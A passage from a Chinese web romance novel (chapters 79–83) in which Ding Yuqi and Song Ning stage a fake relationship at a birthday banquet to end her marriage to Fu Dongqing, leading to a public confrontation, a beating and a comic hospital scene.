苏菲噗嗤一声笑了:“人家小凝都没说什么,你管什么闲事?” 丁予墨挑了挑眉,恍然大悟似的的点头:“行,懂了。那我们先进去吧。” 他伸出手臂,苏菲就挽住了,两个人一个高大壮硕一个妩媚艳丽,颇有些史密斯夫妇的感觉。 但是宋凝就有些斯巴达了。 说好的帮她一起扶呢? 就这么走了? “哇,宋凝姐姐!” 宋凝一愣。 一身黑色朋克风格的女孩热情地跟她打招呼:“是我啊,我们之前见过一次的,江雅雅!” 宋凝透过浓浓的妆,终于认出来了。 这不是之前天衣无缝相亲局上的那个乖乖女么! 她今天一身摇滚装扮,宋凝差点没认出来。 “你好,江小姐。” 江雅雅冲她笑了笑,然后看着紧紧依偎在一起的两个人,露出了一副“慈母”般的微笑:“你们两个真的好配啊呜呜呜呜呜……” 正说着,旁边又有一些她不认识的人走了过来。 江雅雅几乎是大声高调盖了章:“你们快来看!这位就是小丁哥哥的女朋友!” 宋凝心里是绝望的。 妥了。 全乱套了。 误会圈越来越扩大化。 她想否认,但是满身是嘴也说不清了。 只是有一点很奇怪。 上次见面的时候,丁予期用她当桃花,那时候江雅雅看起来还有点失落。 怎么现在立刻就换了一个态度? 这也变化的太快了吧! 江雅雅走了过来,拉住她的手,呜呜地说着:“宋凝姐姐,你们真的太配了,我是心甘情愿退出的,你跟小丁哥哥一定要好好的啊!” 宋凝:“江小姐,其实……” 丁予期终于悠悠转醒,从宋凝肩膀上抬起头来。 宋凝被他靠了有一会儿了,已经习惯了微微用一点力顶着他。 现在他突然起身,这股力道还没来得及卸掉,宋凝差点一下子扑他怀里去。 偏偏丁予期长臂一展,揽着她的肩膀按在了自己怀里,然后低声说道:“你宋凝姐姐有点害羞,别在这站着了,赶紧进去吧。” “好嘞!” 江雅雅蹦蹦跳跳的走了。 宋凝从他怀里挣扎出来,轻轻推了他一把:“自己能站就自己站。” 丁予期按着太阳穴,一脸惨白:“不好意思,今天辛苦你了。” 他主动道歉,宋凝也没有再发作的理由。 只能作罢。 丁予期说:“今天江雅雅来了,还是得麻烦你帮个忙。” “扮演你的女朋友?” “嗯,”丁予期说:“要不然江伯伯和江伯母那边不好交代。” 宋凝没说话。 丁予期说:“我都帮你找到你李叔了,还拿会了丽晶酒店,这点要求过分吗?” 说起这个,宋凝终究还是软了态度。 丽晶酒店的名声被红颜舞厅霍霍的不行,还得靠卫斯理的品牌效应来帮它洗刷呢。 李叔遇到急事急着卖,如果不是丁予期出手,丽晶酒店还不知道下一个老板会是谁,会用酒店来做什么行当。 想到这里,宋凝还是默认了。 走进会所里面,更是热闹。 在首都这种寸土寸金的地方,又是这种绝对的城市中心位置建造这么占地面积这么大的会所,丁予墨才是名副其实的宠妻狂魔。 丁予期说:“我大嫂就是首都人,家里有些背景。” 宋凝秒懂。 原来是政商联姻。 两人一起走进大厅的时候,丁予墨和苏菲已经在主位了。 所有人都簇拥着她们,正在谈笑。 苏菲第一个注意到他们,率先站了起来:“予期,小凝,这里!” 她主动走了过来,十分热络地拉住了宋凝的手,“走,今天你坐我旁边。” 宋凝还没反应过来,苏菲已经不由分说地拉着她回到了主位,甚至还踢了自家老公一脚:“你去那边坐,把位置让给小凝。” 丁予墨摸了摸鼻子,乖乖起了身。 迎上丁予期调侃的目光,丁予墨虎着脸瞪了他一眼:“还看不起我?你以后也不一定比我好多少。” 丁予期嗤嗤地笑:“我没有看不起你,我是羡慕你。” 第七十九章 她管得严 丁予墨突然有些明白了弟弟的心境,拍了拍他的肩膀:“就快了。” “嗯,我知道。” 就快了。 还有最后不到二十天。 丁予墨突然有些欣慰地看着他:“之前你一直不肯跟心理医生说,原来是因为这样。” “那时候她刚结婚,沉浸在甜蜜里,如果让她知道了,只会把我当变态,当成破坏他们幸福的坏人,我们这辈子都没可能。” “嗯。”丁予墨问他:“你让我去找那个什么丽晶酒店的老板,也是为了她吧?” “是。” 苏菲突然喊道:“予期,你过来。” 丁予墨冲弟弟扬了扬下巴:“去吧。” 丁予期缓缓走了过去,苏菲已经让人把宋凝旁边的位置腾了出来,他顺势坐下。 旁边一个年轻男人立刻凑了上来:“这位就是小丁总,百闻不如一见,今天可算是见到了。” 丁予期眯了眯眼睛,有些认不出来:“我们认识吗?” 男人一脸激动:“我们是不认识,但是您跟我妹妹应该是认识的呀!你们两个是一个高中的!” 说着,他对身边的女孩说:“小雪,这不是你一直念叨着的男神,现在见到了怎么不打个招呼?” 苏菲的脸色顿时微微沉了下来:“齐总,你今天到底是来参加我的生日宴的,还是来给你妹妹追星的啊?” 齐总不好意思地哈哈笑:“当然是来给丁太太您庆生的了,我祝您年年如今日,年年都十八!” 一旁的小雪也跟着举杯:“丁太太,祝您生日快乐。” “行,谢了啊。” 苏菲爽快的一口干了。 齐总又对丁予期说道:“小丁总,我还有点事要提前走,我妹妹跟您是校友,应该有挺多话题能聊。我就把妹妹拜托给您了,麻烦您照顾一下。” 苏菲顿时扔了手里扎水果的叉子,当啷一声:“齐总要是忙,就不用带妹妹过来啊,我也不缺你这一句两句的祝福。” 齐总连忙笑着讨好道:“丁太太的生日,我肯定是要来的。我妹妹小雪今天刚好放假,我就带她来见见世面。” “那现在世面也见完了,直接带走吧。” “那可不行,我这会儿是要去一个酒局,纯男人局,您懂得,她一个小姑娘去不合适。” “那我们家予期就活该给你带孩子啊?他一个大老爷们也不会啊!” 齐总立马说:“小雪很乖的,不会给小丁总添乱的。” 其实话说到这里,大家哪里还有不明白的? 这是明目张胆地给丁予期塞女人呢! 谁不知道丁家三兄弟,大少和二少都结婚了,家产以后怕是要对半分了。 只有这个老三丁予期,并没有争丁家的财产,因为他继承了外祖家里的所有产业。 老爷子南征北战一辈子,战功赫赫,家底子也是厚实的不行。 丁家只是一个普通的商人,哪能跟这种老一辈的行伍人士相比。 如果能跟了这位小丁总,才以后才是政商军一把抓,不但富,而且贵。 不但商界赫赫有名,就是政界也能说的上话。 小雪闻言,举着一杯橙汁站了起来:“学长,我们都是一个学校的,我敬您一杯。” 宋凝正在看热闹呢,突然肩膀被人撞了一下。 丁予期凑近,以一个十分亲昵地姿势在她耳边说:“她是我们的学妹,你认识不?” 宋凝这才反应过来,丁予期跟傅东擎是一个班的,那这位小雪也是她的校友了。 她摇了摇头:“我不太认识,可能她入校的时候我们早都毕业了吧。” 丁予期还是那副标准地玩世不恭的笑意:“不好意思啊小妹妹,我们都不太认识你,所以也没什么能聊的话题。” 小雪顿时红了眼眶,“你在篮球队的时候,我去给你送过水的,你不记得了吗?” 丁予期说:“给我送过水的女孩挺多的。” 小雪咬着唇,有些委屈。 齐总赶紧打圆场:“小丁总贵人多忘事,不记得也正常。这样吧,小雪你陪小丁总喝一杯,现在就算是认识了。” 小雪点了点头,主动斟满了一杯酒,递给丁予期:“那好吧,学长,我们就当是今天第一次见面认识,行吗?” 丁予期笑了笑,点头:“这杯酒要是我不喝,也确实不给齐总面子了,行吧。” 他刚要伸手去接,手臂突然就被按住了。 宋凝皱眉:“不能喝。你今天吃了感冒药的,你忘了?” 丁予期嗤嗤地笑,伸出的手也退了回来:“不好意思啊小雪,你也看到了,她……管得严。” 宋凝:“?” 感冒药里面有头孢成分,跟酒精会起化学反应的! 严重的时候可能会致命! 她这是在提醒他保命啊,怎么从他嘴里说出来,就有一种很暧昧的氛围了呢? 齐总皮笑肉不笑的:“这位小姐,请问你是丁总的什么人?” 宋凝:“下属。” “哦,不知道的还以为你是丁总的妈呢,人家大哥大嫂都没说话,你跳个什么劲儿?” 苏菲当即就要发作。 可是被丁予期拉住了。 苏菲有些不解的看了看丁予期,丁予期做了个一个让她“稍安勿躁”的表情。 只听宋凝也冷笑了一声:“不知道齐总是做什么生意的?” “家具生意,怎么了?” “哦,不知道的还以为您是怡红院当老 鸨的呢。” 齐总顿时脸色变:“你……” 宋凝说:“还有这位小雪小姐,到底是不是您亲妹妹啊?看起来长得不像啊?别是无中生妹吧?” 齐总立刻站了起来:“你敢这么说我?!” “怎么,齐总想要在丁太太的生日会上闹起来吗?!” 一提起苏菲,齐总果然哑火了。 他愤愤地指着宋凝:“你一个小员工,你当我不知道你心里那点儿小九九?仗着自己有几分姿色,也想飞上枝头变凤凰呗!但是你也不看看丁家是什么门第,小丁总的外公是什么门第!就凭你,异想天开!” “我确实不知道什么门第不门第的,但我知道齐总您的裤子拉链开了。” 齐总脸色一白,下意识地往下一看。 此时,所有人的目光也被吸引了过去。 只见齐总的裤子拉链不仅开着,还能隐约看到里面的轮廓。 宋凝一脸嫌弃:“齐总,我认识一个挺好的男科医生,专门可以做延长手术的,您需要吗?” 齐总下意识的捂住了裤裆,脸色黑了个彻底。 宋凝又指了指小雪脖子上的红痕,冷笑道:“一个裤链忘记拉上,一个脖子上的痕迹也忘了遮一下,看来你们来之前还挺激烈啊。齐总,您这是兄妹乱 伦,还是准备把自己的女人送给小丁总邀功领赏啊?” 第八十章 男人三份病,演到你魔怔 宋凝的话直接让在场众人都倒吸了一口凉气。 给有权有势的男人塞女人是一回事,塞妹妹倒也算可以。 但是塞自己女人,还是不久之前刚刚两个人还亲密过的,这就有点子缺德了。 齐总当场破防:“你少信口开河,当心我告你诽谤!” 宋凝正想说她无所谓。 丁予期就站了起来,虚虚的把她圈在怀里,冷笑着说道:“挺有意思,好久没打过名誉权官司了,欢迎齐总来告。” 丁予期的姿势几乎是摆明了要护着宋凝。 齐总再破防,看他这个架势,也不敢再说什么,只是垂死挣扎地辩解了一句:“小丁总,我是真的觉得小雪这姑娘不错……” “你觉得不错就自己留着吧,回家关上门,兄妹两个想做什么都行。” 说着,他拥着宋凝又坐了下来。 然后又把头靠在宋凝的肩膀上,一脸痛苦。 宋凝问他:“还是很不舒服吗?” “嗯,”丁予期闭着眼睛,“原本好一些了,跟这种傻缺多说一句话都难受。” 苏菲见状,询问道:“我事先也不知道你今天不舒服,准备的都是酒……要不我让人弄点水果给你吃?” 丁予期抿着唇,指了指宋凝:“问她吧,她不一定让我吃。” 苏菲忍俊不禁:“吃点水果应该没事吧?” 丁予期微微抬起头,有些祈求般的看着宋凝:“我能吃吗?” 宋凝直接被他这一出整的有点猝不及防。 男人三分醉,演到你流泪。 这男人三份病,能演到你魔怔。 宋凝迟疑了一下:“……吃了药忌食生冷,还是喝点热水吧。” 丁予期乖乖地点了点头:“大嫂,我喝水就行。” 苏菲立刻叫了服务生过来,让他去拿热水过来。 原本大家就对宋凝有些好奇,都在猜测她到底是什么人,能坐在今天的寿星苏菲旁边。 如今再看丁予期对她言听计从的样子,众人终于是恍然大悟了。 这位,八成就是以后的丁家三少奶奶了。 很快,热水被拿了上来。 苏菲直接把水杯递给宋凝:“给。” 宋凝又愣了。 给她干嘛? 给丁予期啊。 她轻轻耸了耸肩膀,丁予期的头也跟着摇晃了一下,他痛苦的抱怨:“别动,我头晕得很。” 宋凝说:“热水来了,你大嫂一直举着呢,快接着。” 丁予期:“头疼,接不了。” “你是头疼又不是手疼。” “我现在就歪着头还舒服一些,一旦抬起来就觉得晕。” 苏菲把水塞进宋凝手里:“发烧了是会头晕了,你给他喂一点吧。” “我?喂?” 苏菲肯定地点头:“总得让他喝点水吧,能舒服一些。” 经过刚刚那个小插曲,宋凝有些局促的发现,她和丁予期现在俨然成为了众人的焦点。 明明苏菲应该是主角。 但现在开始带头吃瓜了。 宋凝只好接过了水,轻轻把杯沿放在他的唇边:“你喝点水?” 丁予期确实没起来,只是就着她的手微微抬了抬头。 只是这种姿势,喝了的水有一半都洒在了下巴上,然后顺着他的脖子,慢慢浸透了宋凝的衣服。 她连忙抽出几张纸,帮丁予期擦了擦嘴上和脖子上的水。 “还喝吗?” “不喝了。” “那你休息一会儿。” “嗯。” 恰在这时,丁予墨突然沉着脸走了过来。 苏菲看自家老公面色不善,知道或许有事,轻声问道:“怎么了?” 丁予墨看了一眼宋凝,俯身在苏菲耳边说道:“傅东擎来了。” 苏菲顿时脸色一变:“他来干什么?我这次邀请的都是首都圈子里的朋友们,压根没给他发请帖啊。” 丁予墨脸色也不好看:“说是跟丁家有生意往来,特地来给你庆生的。但是我看他的样子,应该是来找予期的。” 苏菲立马警觉起来:“来找予期干嘛?算账?他有什么资格,自己弄了个小情人养着把老婆弄丢了,现在后悔了?大鼻涕流嘴里知道甩了?” 丁予墨:“那我去外面见见他?” “不用。” 一直“弱不禁风”的丁予期突然沉声说了一句:“让他进来。” 宋凝惊呆了:“你不头晕了?” “好多了。” 宋凝:“……” 苏菲哼笑了一下:“也行,让他进来吧,反正以后迟早是要见面的,早点捅破了大家也不用再虚伪的应酬了。” 丁予墨出于善意,问了一句:“小凝要是不想见他的话,我带你去后面休息室。” “做错事的人又不是我,我怕他干什么?” 苏菲看宋凝的眼神立刻出现了欣赏的神色。 她看了一眼丁予期:“我感觉你给我取的那个外号,迟早得换人。” 很快,服务生引着傅东擎走了进来。 傅东擎手里拎着一个小而精致的纸袋,手里还捧着一束花,笑着说道:“不好意思丁太太,贸然前来,祝你生日快乐。” 他把手里的礼品袋递给苏菲。 苏菲当场就拆开了。 是一对奢侈品品牌的耳钉。 傅东擎说:“我刚下飞机就过来了,来的匆忙,礼物也不知道合不合你心意。” 苏菲没说话,丁予墨圆了一句:“你这次来首都是有公事吗?实在忙的话不用特地跑一趟的,打个电话发个微信,心意到了就行。” “我既然人都已经来首都了,那必须得来当面祝贺啊。我跟予期毕竟这么多年的好兄弟,跟予墨也有生意上的往来,于情于理都得过来一趟的。” 话是这么说,但他的眼神已经落在了宋凝的身上。 宋凝像是没看到他似的,低头正在剥橘子。 苏菲察觉到他看宋凝的视线有些火热,直接说道:“这耳钉我挺喜欢了,谢谢傅总。” “丁太太喜欢就好。” “你手里的花也挺漂亮的,给我吧,我让人插瓶去。” 苏菲伸手想接,可傅东擎微微躲了一下:“不好意思丁太太,这束花……是我送给我家阿凝的。” 他看着宋凝,“阿凝,我真的知道错了,跟我回去吧。” 宋凝当他是空气。 场面顿时变得非常尴尬。 刚刚大家才认清她的身份是丁家未来的三少奶奶,但现在怎么看起来跟这位傅总也有些纠缠? 傅东擎见宋凝没反应,直接单膝跪在地上,把花束捧到了她面前:“这阵子我们太麻烦予期了,如果你继续跟我生气的话……我跟予期兄弟只怕都没得做了。” 第八十一章 抢女人,靠的从来不是拳头 宋凝还是没动。 傅东擎直接去牵她的手:“阿凝……” 今天是苏菲的生日,宋凝不想在这里闹起来。 她甩开傅东擎的手,但是站了起来:“我们出去说,不要喧宾夺主。” 宋凝终于肯跟他说话了,傅东擎立刻开心起来:“好,好,我们出去。” 他回头跟丁予墨和苏菲点了点头表示感谢:“谢谢两位今天帮我照顾阿凝。” 然后又看向了脸色阴沉的丁予期:“予期,我先去追阿凝,我们回头慢慢聊啊。” 说完,他就追着宋凝跑了出去。 两个人很快就消失在众人的视野里。 苏菲轻轻踢了丁予期一脚:“你不追出去看看?” “要去的,”丁予期深吸了一口气:“早知道会有这么一天,只是没想到这么快。” 丁予墨拦了他一下:“要不要我跟你一起?” “你要帮我打架啊?” “你生着病,我怕你……” 打不过。 丁予期摇了摇头:“大哥,这你就不懂了。抢女人,靠的从来不是拳头,而是这里。” 他点了点自己的太阳穴,胸有成竹地走了出去。 苏菲仍旧有些担心:“这两个人不会真的打起来吧?我的生日诶,一死一伤那也太晦气了。你还是跟出去看看吧,我怕予期真打不过。” 丁予墨推了推鼻梁上的金丝眼镜,却是轻笑了一下:“放心吧,我们三兄弟里面,我太沉闷,二弟太急躁,只有他,从小就鬼精鬼精的。我和二弟都没少在他手上吃亏。” 苏菲有些惊讶:“没看出来啊!” “你看着吧,既然他已经对宋凝起了心思,就没有人能从他嘴里把人抢走。” …… 会所外面的花园里。 傅东擎追上了宋凝,强行拉住她就要抱:“阿凝……啊!” 宋凝第一次这么感谢高跟鞋。 踩人的时候可比平底鞋好用多了。 傅东擎的皮鞋表面被她的细高跟踩出来一个小坑,他脸色发白,疼的腰都弯了下去。 宋凝居高临下,声音冰冷:“有话说话,不要动手动脚的。” “我只是太想你了,忍不住想抱抱你。” 宋凝一脸嫌弃:“这种酸死人的话还是少说吧,晚上的首都已经够冷了,我不想冻死。” 傅东擎跺了跺脚,勉强忍住了脚上的疼痛感。 他轻声说道:“我找吴教授聊过了。” 宋凝猛地回头,一脸戒备。 傅东擎苦笑了一下,说:“你放心,你跟他在酒店那一晚究竟发生了什么,他没有说,但我也想明白了,你们两个都不想说,肯定是因为要保护某个人,所以我也不想再逼你,更不想再折磨我自己了。” “阿凝,我可以当做那一晚的事情根本没发生过,从今以后你跟吴教授在我这里就是清清白白的师生关系,我不会再肆意揣测你们,更不会在逼你说什么,我就当你是去找他补习功课了,就这样。” 傅东擎往前走了一步,更靠近了她一些:“我承认,我找林澜的时候确实是因为心里不平衡,我也因此尝到了苦果。阿凝,我不能没有你……” “傅总,你说完了吗?” 她的冷静,让傅东擎觉得心里一凉。 十五年的感情,两个人对对方的了解都不止一星半点。 什么样的语气和神态,代表了对方什么样的态度,早就是烂熟于心的。 宋凝今天的冷漠和淡然,让他觉得无端的心慌。 “……阿凝,我就这么不可原谅吗?我找林澜也是事出有因,况且我已经知道错了,我一查到你在首都就立刻放下所有的事情飞了过来。” 宋凝警惕道:“你从哪里知道我在首都的?” “一段视频,”傅东擎说:“你跟方莫奇在酒店门口拥抱,我让人查了那个酒店的外观,就是首都的一家酒店。” 宋凝微微叹了口气。 方莫奇说,他已经买断了记者们拍下的视频和照片。 但当时毕竟还有路人在,视频不可能完全杜绝。 “现在的大数据真的是……” 害人不浅。 根本没有隐私可言! 傅东擎说:“阿凝,我想过了,既然你的老家是南城,那我们就搬去南城住,这样也可以避开我爸妈,只有我们两个好好过日子,好不好?” “傅东擎。” “嗯,你说。” “我们离婚吧,”宋凝说的很郑重:“好聚好散。” 傅东擎不解:“为什么?明明我们之间的问题都解决了啊!林澜,我爸妈,还有过去的误会,我都想办法全部解决掉了,为什么还是要离婚?” “因为我……” “因为我。” 丁予期缓缓走了出来。 宋凝看到他,唇色仍旧有些苍白,脸上还有些发烧造成的不自然的潮 红。 她问他:“你不头晕了?” 丁予期笑了笑,快步走到了她身边,“现在还行。” 宋凝低声对他说:“你放心,我说过不会反悔就不会反悔,你没必要这么不放心,还特地强撑着跑出来确认。” “宋凝,你确定想离婚吗?” 宋凝皱眉:“你都问过我多少次了,我确定的不能再确定了……唔!” 她的脸突然被捧起,唇也被吻住。 那一瞬间,宋凝又想起了那个诡异的梦。 她的第一反应是,这会不会还是个梦? 否则丁予期为什么会突然亲她?! 可是他身上传来的一阵一阵的热浪,终究是击碎了她的幻想。 不是梦。 是真的。 丁予期真的亲了她。 而且是当着傅东擎的面。 宋凝大脑发炸,一时不知道该做什么反应。 好在丁予期也没有太过沉迷,一吻过后,就搂着她的腰,轻笑着给傅东擎介绍:“东擎,你不是一直很好奇我喜欢了这么多年的女孩是谁么?给你介绍一下,宋凝,你未来的弟妹。” 突如其来的变故,不止打了宋凝一个措手不及。 傅东擎更是愣在当场,好久好久都没反应过来。 他蹙着眉,仍旧不肯相信:“予期你……不是,等等,这不对,这肯定不对……” “就是这样,”丁予期的语气十分松弛:“你忘了我跟你说的吗?我等了她十五年,你跟宋凝从谈恋爱开始到现在,刚好也是十五年;三年前我得了抑郁症,也是因为参加了你们的婚礼。而不久之前,她找到了我,决定要跟你离婚,我也是那时候告诉你,我喜欢的女孩终于要离婚了,你还恭喜我守得云开见月明……” 每一条,时间节点都对得上。 严丝合缝。 丁予期说:“谢谢你的祝福,以后我会好好照顾阿凝,就不劳你费心了。” 第八十二章 我比你更早喜欢上她 宋凝仍旧在懵逼当中。 她有一瞬间梦境和现实交错的虚无感。 那个梦境…… 她整个人都呆住了,不知该如何反应。 可下一秒,她就被一声皮肉闷响声震得头皮发炸。 傅东擎赤红着眼睛,像是一头猛虎一样扑了上去,一拳打在丁予期的左脸上。 丁予期被打的后退了几步,他冷笑了一声,用手抹了一下嘴角的血迹,摆出一副无所谓的架势来。 “这件事算我对不住你,来吧,今天我不还手。” 傅东擎已经到了暴怒的边缘,丁予期几乎是话音刚落,又被一拳击倒。 这一次,傅东擎几乎是使出了全力,丁予期被打的倒在地上。 傅东擎还嫌不够,抓着他的领子提了起来,一拳一拳狠狠地砸下去。 丁予期真就像他自己说的,完全没有反抗,就任由傅东擎疯了一样地把他当成个沙包。 外面的动静终究还是吸引了所有人的注意。 苏菲和丁予墨急匆匆赶出来的时候,傅东擎仍旧像是失了控的猛兽一般。 苏菲一看,赶紧想要上去拉架。 可丁予墨拉住了她:“别去。” 苏菲急得低吼:“那是你亲弟弟,打死了怎么办?” “这是雄性动物之间的争斗,必须得分出个你死我活才能罢休,否则这一架迟早都得打,不是今天,也会是之后的某一天。” “可是予期根本就不反抗啊!” 丁予墨眼中精光一闪,推了推鼻梁上的金丝眼镜,轻轻说道:“那小子可不是个愿意吃亏的主,看着吧,他可不一定会输。” 苏菲还在懵逼中。 一转头,就看到宋凝整个人都扑在了丁予期身上。 方才还像个疯子一样的傅东擎一脸惊慌,内疚和自责一起涌上来。 他伸手想要去查看宋凝的伤势,可是手小心翼翼地伸出去,就被宋凝一把拍飞了:“别碰我!” 傅东擎一个大男人,就这样被宋凝的小力道推得后退了一步。 他冷眼看着,宋凝蹲在地上,把丁予期的上半身抱在怀里。 “你没事吧?” “你没事吧?” 两个人几乎是同时开了口。 丁予期苦笑着,用手轻轻拂开她的碎发:“你扑上来干什么,伤着你没?” 宋凝几乎是咬牙切齿:“你傻不傻!” 只是做个戏而已,有必要结结实实挨一顿吗? 他要是死了残了,丽晶酒店谁给她? 丁予期已经猜到了她心中所想,给了她一个眼神,示意她继续,然后痛苦地哀叹了一声:“让他出出气吧,我没关系。” “宋凝,”他摸了摸她的脸:“不要担心,我没事。” 宋凝在心中暗道一声,这厮的演技,真的比方莫奇好多了! 应该推荐他去唐婷的剧组,至少也能演个深情男二! 宋凝浑身起了一层鸡皮疙瘩。 她反正是演不下去了,眼睛一转,三十六计走为上。 “不行,你今天原本就很虚弱,现在又挨了打,你撑住啊,我这就送你去医院——” 可丁予期却一把抓住了她的手,放在唇边轻轻吻了吻,眼神迷蒙,神色温柔:“看到你为我担心,我很开心。” “阿凝你知道我这些年都是怎么过的吗?” “每一次看到你跟其他男人站在一起,嫉妒就像火一样炙烤着我。” “现在,我终于能这么近距离的看你了,我好开心……” 宋凝越听头皮越紧,她俯下身去,装作感动得抱住了丁予期的样子。 可实际上,她用只有两个人能听到的声音在他耳边低声警告:“差不多就行了啊,戏瘾还没完了?” 丁予期声音微微低沉:“你什么时候看出来的?” “你刚刚故意吻我的时候,”宋凝说:“丁总,你为了表演艺术真的牺牲太大了,这种舍身取义的精神令人钦佩。” “我吻你的时候距离那么近,你怎么看到的?” “因为正常情况下的你,根本不可能吻我啊。而且之前你说过,一劳永逸的法子,就是找一个不怕被傅东擎整的人确定关系,让他彻底死心。” “哦,那我们配合还挺默契,你也没有推开我。” 丁予期眼睛笑着,但唇角却扯了一下。 他黯然地别开头去,沉沉吐出一口气。 宋凝说:“一开始我的确想推开你来着,不但想推开,还想给你一巴掌。但是后来我反应过来了啊,所以就忍住了。” “忍住打我还是忍住被我亲?” “……都差不多。” 丁予期沉默了一会儿,说:“来吧,剩最后一点戏份了,演完,你就彻底解脱了。” 宋凝点了点头,扶着他站了起来。 丁予期半边身子的重量都撑在她身上,虚弱地说:“东擎,今天我把埋藏在心里十多年的话都说出来了,虽然挨了你几拳,但我心里很畅快。” 傅东擎方才强行压制住的怒火,又因为他的一句话而喷薄而出。 他上来又要揍人,可宋凝厉声喝止道:“你敢动他一下试试!” 傅东擎的拳头停在半空中,好几秒钟,最后才颓然地落了下来:“阿凝,你告诉我,这不是真的……这一切怎么可能是真的?!” 宋凝冷冷地说:“我们就到这里吧。” “不,不行,阿凝……明明是我先认识你,我先喜欢你的!” “不是的,”丁予期突然开了口:“是我认识的她。” 傅东擎痛苦地蹙眉:“你说什么?” 丁予期微微笑开:“你还没认识她的时候,她就来我们班,教训过一个造她黄谣的男生。那一天,我就在现场,是我帮她关上的门。” 这句话一出,宋凝也有些吃惊。 她倒是记得那天有个好心的学长帮她关了门,阻挡了外面的校长和老师们,让她有时间狠狠修理了一顿那个到处造谣的坏蛋。 原来是他吗? 傅东擎有些怔忪:“从那个时候开始,你就……” “是,”丁予期承认了:“东擎,我比你更早喜欢上她。” 宋凝说:“你流血了,我先送你去医院。” 她回头看了一眼苏菲。 苏菲立刻反应了过来,连忙叫了自己的司机过来:“快,送予期和小凝去医院!” “是!” 宋凝扶着丁予期上了车,车子飞快的汇入车流,没过几秒就消失不见了。 所有人都被刚刚发生的情节震惊,有的窃窃私语,有的正在手机上给朋友们现场直播。 傅东擎背对着所有人站在冷风中,身上的西装也因为刚刚的大幅度动作而歪歪斜斜。 他佝偻着身子,像是一头斗败了的狮子,背影看起来格外萧索。 苏菲啧啧了两声:“看着真挺可怜的。” 丁予墨把自己的外套脱下来,给苏菲披上:“别看热闹了,晚上风冷,我们回去。” 苏菲问:“那傅总怎么办?就把他一个人晾在那儿?” 丁予墨只管抱着自己的老婆往回走:“各人有各人的造化,我帮不了他,你也帮不了,那就还是不要去多管闲事了。” 主人公都回去了,宾客们陆陆续续也都回去了。 偌大的花园里,最终真的只剩下了傅东擎一个人。 小何赶过来的时候,傅东擎已经不知道在冷风里一个人站了多久。 他立刻跑了过来:“傅总,您怎么了?” 傅东擎抬起头,看了一眼他,摆了摆手,示意自己没事。 小何往四周看了一眼:“不是说太太在这里吗?她人呢?” 宋凝人呢? 他不知道。 她……不要他了。 第八十三章 趁热留个种? 去医院的路上。 后排车厢里,丁予期有气无力地靠在宋凝的怀里。 她想推开他,可丁予期痛苦地皱眉:“别动,我头晕。” “别装了,已经走远了。” “不是,真晕。” 前排的司机说了一句:“宋小姐,傅总那几拳可是实打实地落在了小丁总的身上,那力道我在旁边看了都害怕,可不是开玩笑的,小丁总最轻也得是个脑震荡。” 宋凝看了一眼丁予期,他脸色苍白,眉骨处的伤口还在汨汨的流着血。 他紧紧闭着眼睛,似乎十分痛苦地模样。 “……你还有哪里难受吗?” 丁予期紧抿着唇,“你现在别跟我说话,我感觉自己的脑 浆都被搅匀了,一动就想吐。” 脑震荡啊。 可大可小。 宋凝还是心软了:“那你休息一会儿啊,到了我叫你。” 到了医院,司机把车停好,然后进去找了护士。 很快,几个医生和护士推着担架床快速跑了过来。 几个男医生和司机一起,把丁予期抬到了担架床上,推进了急诊室。 宋凝也快步跟了进去。 小护士忙忙碌碌,给丁予期身上安装了好几个仪器,整个急诊室都在滴滴滴的响。 病床上,丁予期一动不动。 宋凝真的有点吓到了:“不会真打坏了吧?” 司机陪着她等着,语气颇为凝重:“真说不好。” 宋凝有些焦急。 司机一脸苦大仇深:“宋小姐,万一小丁总真的出什么意外了,这可怎么办呀!” 宋凝:“那就治,治到好为止。” “如果好不了呢?” “什么叫好不了?” “就是,万一伤到了大脑,小丁总变成植物人了,或者是失忆了,又或者后半生都瘫痪在床了……” 宋凝脸色顿时刷白。 她拉住了一个护士,问道:“刚刚他说的情况,有可能吗?” 小护士想了想,秉持着严谨科学的态度回答道:“要看颅脑损伤的情况,如果真的损伤严重的话,死亡也是有可能的。” “可是他刚刚还在跟我说话呢!” “脑死亡也分为当场脑死亡和延迟性脑死亡,刚刚受到攻击的时候大脑里面的血液还可以供给,但随着时间流逝,有些损伤才会慢慢显现出来,造成临床症状。” 司机顿时哀嚎了一声:“刚刚傅总下手又重又狠的,几乎都是冲着小丁总的后脑去的呀!” 护士一听,神情立马严肃了起来:“后脑是最重要的地方,攻击后脑的话后果很严重的!” “怎么办怎么办,宋小姐,要是小丁总有个意外,他还这么年轻,他还没有结婚生子啊!” 宋凝的神情紧紧绷着,冷眼看着医护人员给丁予期做检查和治疗。 她刚刚还是太轻松了。 丁予期做这场戏,虽说只是为了让她和傅东擎离婚,但毕竟也有一半是因为她。 他估计也没有料想到,一贯把他当好兄弟的傅东擎,居然会直接下死手。 ……他估计觉得,傅东擎至少不会把他往死里打,才敢自己亲身上阵的吧。 司机还在嚎啕:“我可怜的小丁总啊,你的命好苦啊!老爷和太太白发人送黑发人,你怎么忍得下心啊!” 宋凝被他哭的心烦意乱:“你别说话了,不要打扰医生治疗。” 司机停下了哭嚎,但小声问道:“宋小姐,我有句话不知当讲不当讲。” “你说吧。” “要不要趁小丁总还热乎着,你给他留个种?” 宋凝当即震惊了,以一种不可置信地眼光看着司机。 司机摸了摸鼻子:“我就是提议一下而已,小丁总这么优秀的基因总不能浪费了吧?我要是个女人我就上了。” 宋凝内心:你可做个人吧。 “宋小姐,你考虑一下我的提议啊,怎么说少爷也是为了你才变成这样的,你给他留个种不过分吧?” 好在,医生那边很快就出结果了。 宋凝急忙凑了上去:“医生,他怎么样?” 医生问道:“你是他什么人?” “下属?” “那你尽快联系他的家属吧,他的情况目前应该是没有生命危险,但是还是得做进一步的颅脑平扫,如果扫出来有什么问题,可能当场就需要紧急手术,需要家属签字的。” 宋凝心里一沉。 司机:“呜哇哇哇哇,我就说我们家小丁总伤的不轻。” 他上去摸了一把丁予期垂在病床边缘的胳膊,“宋小姐,还有温度呢,你要趁热不?” 宋凝觉得,这个司机像是社会学专家派来的卧底,为了国家的人口大计这是演都不演了。 她没有丁予墨和苏菲的电话,只能去掏丁予期的手机。 在他胸前摸了好一阵,除了硬邦邦的胸肌,什么都没摸到。 司机:“呜哇哇哇,宋小姐你还真趁热了啊?” 宋凝气笑了:“不是你让我趁热?” “那你摸上面没什么用啊,关键在下边。” 丁予期的上衣口袋里没找到手机,那应该就是你在裤子口袋里了。 宋凝也顾不上许多了,直接把手伸进他的西裤口袋里掏手机。 司机:“呜哇哇哇!宋小姐你还真是听劝啊!” 宋凝已经彻底无语了。 